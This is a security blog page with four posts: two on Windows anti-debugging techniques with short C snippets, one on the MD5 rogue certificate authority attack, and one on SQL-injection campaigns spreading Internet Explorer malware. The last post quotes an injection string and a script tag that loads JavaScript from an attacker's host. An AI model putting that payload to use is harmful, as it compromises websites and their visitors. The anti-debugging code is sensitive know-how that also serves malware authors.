by Tyler Shields
Welcome back to the series on anti-debugging. Hopefully you have your debugger and development environment handy as we are about to dive into the first round of anti-debugging code. In the first post to this series we discussed six different types of anti-debugging techniques that are in common use today. To refresh, the classifications buckets that we chose to use are:
- API Based Anti-Debugging
- Exception Based Anti-Debugging
- Process and Thread Block Anti-Debugging
- Modified Code Anti-Debugging
- Hardware and Register Based Anti-Debugging
- Timing and Latency Anti-Debugging
Basic API Anti-Debugging
We’ll continue this series of posts by going into a bit more depth on the easiest of API based anti-debugging techniques. An application programming interface (API) is used to support requests made from other applications for resources or functionality within a target service or library. In our case we will be primarily focused on the Microsoft Windows operating system API. There are a number of calls built directly into the operating system API that make detection of a debugger possible. Minor differences in thread and process meta-data is present when processes are run within a debugger. These calls typically facilitate a process or thread examination technique in order to determine if the target thread has a debugger attached.
When learning about anti-debugging, a developer will typically first be introduced to the IsDebuggerPresent() function. This function analyzes the process block of a target process to determine if the processes is running under the context of a debugging session. We’ll save the details of how this actually works for a later article, however suffice it to say that the target process has a flag that will contain a non-zero value if the process is being debugged. This flag is queried and returned when IsDebuggerPresent() is called. A very basic debugging detection routine would be to call this function and execute different code paths based on the response.
Prototype: BOOL WINAPI IsDebuggerPresent(void);
if (IsDebuggerPresent()) {
//Debugger Detected - Do Something Here
} else {
//No Debugger Detected - Continue
}
We could also use the API function CheckRemoteDebuggerPresent(). Contrary to first thought, this function does not target a process on a remote machine, nor does it even require that it target a process remote to itself. The call can use a parameter pointing to itself to determine if it is running inside of a debugger. In the example below we pass in a handle to our current process by calling the GetCurrentProcess() function along with a variable to hold the return value from the CheckRemoteDebuggerPresent() call.
Prototype: BOOL WINAPI CheckRemoteDebuggerPresent(__in HANDLE hProcess,
__inout PBOOL pbDebuggerPresent);
BOOL pbIsPresent = FALSE;
CheckRemoteDebuggerPresent(GetCurrentProcess(), &pbIsPresent);
if (pbIsPresent) {
//Debugger Detected - Do Something Here
} else {
//No Debugger Detected - Continue
}
While these two methods are probably the easiest and most straightforward methods of anti-debugging, they are also the most likely to be understood by a person wishing to bypass them. We can mix it up a bit and use a call to OutputDebugString() instead. OutputDebugString() is typically used to output a string value to the debugging data stream. This string is then displayed in the debugger. Due to this fact, the function OutputDebugString() acts differently based on the existence of a debugger on the running process. If a debugger is attached to the process, the function will execute normally and no error state will be registered; however if there is no debugger attached, LastError will be set by the process letting us know that we are debugger free. To execute this method we set LastError to an arbitrary value of our choosing and then call OutputDebugString(). We then check GetLastError() and if our error code remains, we know we are debugger free.
Prototype: void WINAPI OutputDebugString(__in_opt LPCTSTR lpOutputString);
DWORD Val = 123;
SetLastError(Val);
OutputDebugString(L"random");
if(GetLastError() == Val) {
//Debugger Detected - Do Something Here
} else {
//No Debugger Detected - Continue
}
These three methods are the basic starting point for a developer wishing to implement anti-debugging into their code base. The methods are so simple they could even be implemented as macros making a call quick and easy. Numerous other API based detection methods exist with a vast array of complexity. In the next post in this series we will discuss slightly more advanced API anti-debugging techniques that will make reverse engineering and debugging even more difficult.
by Chris Wysopal
Jacob Appelbaum and Alexander Sotirov just gave a presentation at the Chaos Communications Congress in Germany. They have implemented a practical MD5 collision attack on x.509 certificates. All major browsers accept MD5 signatures on certs even though it has been shown to have the collision problem for almost 2 years now. If you can generate your own X.509 certificates you can perform perfect MITM attacks on SSL. They went one better and generated an intermediate certificate authority certificate so they could sign their own certificates. This way they only need to do the attack once and can create as many valid certificates as they want.
6 Certificate Authorities are still using MD5 signing: RapidSSL, FreeSSL, TrustCenter, RSA Data Security, Thawte, verisign.co.jp. They are not going to be happy about this new attack. The researchers decided to target RapidSSL because they were able to better predict some of the certificate fields (serial number and time) because of the way RapidSSL issues the certificates. They were able to perform the computations required with 200 Playstation 3s over 1 to 2 days. Its estimated to be the same as 8000 Intel cores or $20,000 on Amazon EC2.
They ask the question, “Can we trust anything signed with a cert issued by a CA that signed with MD5 signatures in the last couple of years?” The affected CAs have been notified and are going to switch to SHA-1. The researchers also ask the question, “Why did it take an implemented attack to get the CAs to switch to SHA-1?” After all the attack has been known for almost 2 years now. We used the slogan, “Making the theoretical practical since 1992” at L0pht Heavy Industries to highlight the need to implement attacks to get some organizations to improve their security. It is a bit sad to see that in 2008, demonstration is still necessary.
The researchers were worried about repercussions by the CAs that might want to gag them. They had Mozilla and Microsoft sign NDAs that they wouldn’t tell the CAs about the problem until they could give their presentation. They think researchers should consider NDAs with vendors for protection.
You can see a demo of their forged cert here:
https://i.broke.the.internet.and.all.i.got.was.this.t-shirt.phreedom.org
They purposely dated the cert to expire on 9/1/2004 so you need to back date your machine for it to be validated properly.
Full details: http://www.phreedom.org/research/rogue-ca/
by Chris Wysopal
And the results are not graceful.
Unless you have been living under a rock you have heard about the latest Internet Explorer 7 unpatched vulnerability. If you browse a web site that has been modified to contain malicious JavaScript it will download malware to your Windows machine. I first caught wind of it over the weekend when a friend said he was browsing a legitimate training web site when suddenly he saw his Internet Explorer status line change to, “Databinding…”. That will make your pulse quicken. AV was useless in stopping the attack.
Attackers have been finding web sites that have vulnerabilities in them that allow the modification of content on the web site. By far the most popular vulnerability is SQL Injection. Attackers inject a string like the following into a form field:
rtrim(convert(varchar(4000),['+@C+']))+”<script src=http://17gamo [dot] com/1.js></script>”’)FETCH NEXT FROM
They then hope that the data will get read back out of the SQL database at some point and the web app will send the following Javascript to a browser.
<script src=http://17gamo [dot] com/1.js></script>
The victim’s browser then pulls the malicious JavaScript and the browser gets owned. Internet Storm Center has another nice example where the JavaScript is injected as a cookie value.
It Takes Two to Tango
This is an example of a vulnerability where it takes two to tango. Not only does it require a vulnerable client program connecting to untrusted data on the internet. To spread widely, it requires vulnerable web applications that an attacker can use to host the malicious payload. I have also heard of ad servers downloading the malicious payload right along with banner ads for Fortune 500 companies. One of the big lessons here is there is no “safe” area of the internet to browse.
Something that concerns me is the organizations with the vulnerable web applications don’t know it or don’t care. They don’t have the brand damage of a large software company such as Microsoft so thousands of small vulnerable web apps keep serving up the latest and gratest malicious payloads for the latest client vulnerabilities. If it isn’t Internet Explorer, like this week, it might be Firefox or Flash or a media plug in.
Insecure web applications are helping the criminals win.
by Tyler Shields
For those that don’t know, anti-debugging is the implementation of one or more techniques within computer code that hinders attempts at reverse engineering or debugging a target process. Typically this is achieved by detecting minute differences in memory, operating system, process information, latency, etc. that occur when a process is started in or attached to by a debugger compared to when it is not. Most research into anti-debugging has been conducted from the vantage point of a reverse engineer attempting to bypass the techniques that have been implemented. Limited data has been presented that demonstrates anti-debugging methods in a high level language that the average developer can understand. It is with this in mind that I hope to begin a series of posts that present some of the methods of anti-debugging in a clear, concise, and well documented fashion. The end goal of this series is to arm developers with the techniques and knowledge that will allow them to add a layer of protection to their software while simultaneous educating reverse engineers in some of the anti-debugging methods used by malware authors today.
Before we delve into the intricacies of individual methods of anti-debugging let’s use this post to define the classes of anti-debugging that we will be discussing. While other classes may exist, the definition of these classes is an attempt to include the majority of anti-debugging methods in use today. There is some overlap between classifications and we may have left out some methods due to limited exposure or effectiveness.
API Based Anti-Debugging
API based anti-debugging is the most straightforward and possibly the easiest to understand for a typical developer. Using both documented and undocumented API calls, these methods query process and system information to determine the existence or operation of a debugger. From single line calls such as IsDebuggerPresent() and CheckRemoteDebugger() to slightly more complex methods including debugger detaching and CloseHandle() checks. These methods are generally trivial to add to an existing code base and many can even be implemented in as few as two or three lines.
Exception Based Anti-Debugging
Exception based anti-debugging is slightly different than your basic API based techniques. Many times when a debugger is attached to a process, exceptions are trapped and handled by the debugger without regard to passing the exception back to the application for continued execution. Occasionally these exceptions can even crash or terminate a process when run under a debugger and be handled gracefully when running clean. It is these discrepancies that makes exception based anti-debugging techniques possible.
Process and Thread Block Anti-Debugging
Some of the API based anti-debugging methods use published functions to query information from within the process and thread blocks for our running code. Many API based detections can be subverted within a debugger by hooking the API call and returning values that indicate a clean process. One way around this subversion is to directly query the process and thread blocks, bypassing the API calls. Direct analysis of the process and thread blocks, while more complex, can lead to a more accurate and high assurance result.
Modified Code Anti-Debugging
One of the methods that a debugger uses to signal a breakpoint is to insert a break byte into the running code at the location that it wishes to stop execution. The process execution breaks when this value is seen, giving control to the debugger. When the program is resumed, the breakpoint value is removed and replaced with the original byte, the execution backed up one byte, and the program is resumed. Detection of software based breakpoints can be achieved by analyzing the process for modifications from the expected norm.
Hardware and Register Based Anti-Debugging
A second way that a debugger can break the execution of a process is by using a hardware breakpoint. A hardware breakpoint relies upon CPU registers to store the pertinent information and to detect when the target break addresses are seen on the bus. A break interrupt is triggered at the appropriate time based on these register values. Reading or modifying the hardware can allow for the detection of a debugger.
Timing and Latency Anti-Debugging
Finally timing and latency can be used as an effective anti-debugging method. When executing a program within a debugger, specifically when single stepping, a much larger latency occurs between execution of instructions. This latency can be detected and compared against a reasonable threshold to detect the existence of a debugger attached to our process.
Each of the classes of anti-debugging outlined above has merit when used individually to protect a process. While none of them can be assured to ever protect a program from a determined reverse engineer or debugger, implementation of these techniques (or many of them if appropriate) can sufficiently slow down the debugging process and hopefully make the attacker spend his time on other, easier, ventures. In the remainder of this series on anti-debugging we will review in depth some of the more interesting methods of each of the above classes. So bring along your debugger and your development environment and let the games begin.
Powered by WordPress